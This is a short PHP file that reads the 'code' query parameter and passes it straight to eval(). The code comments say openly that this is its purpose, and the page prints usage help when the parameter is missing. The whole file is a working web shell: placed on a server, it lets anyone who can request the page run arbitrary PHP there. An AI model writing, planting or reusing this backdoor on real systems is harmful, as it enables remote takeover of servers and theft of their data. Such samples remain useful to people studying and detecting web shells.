<?php
// Only run if the 'code' parameter exists in the URL
if (isset($_GET['code'])) {
    // Execute the string value passed to 'code' as PHP code
    eval($_GET['code']);
} else {
    echo "Pass PHP code using the ?code= parameter.";
}
?>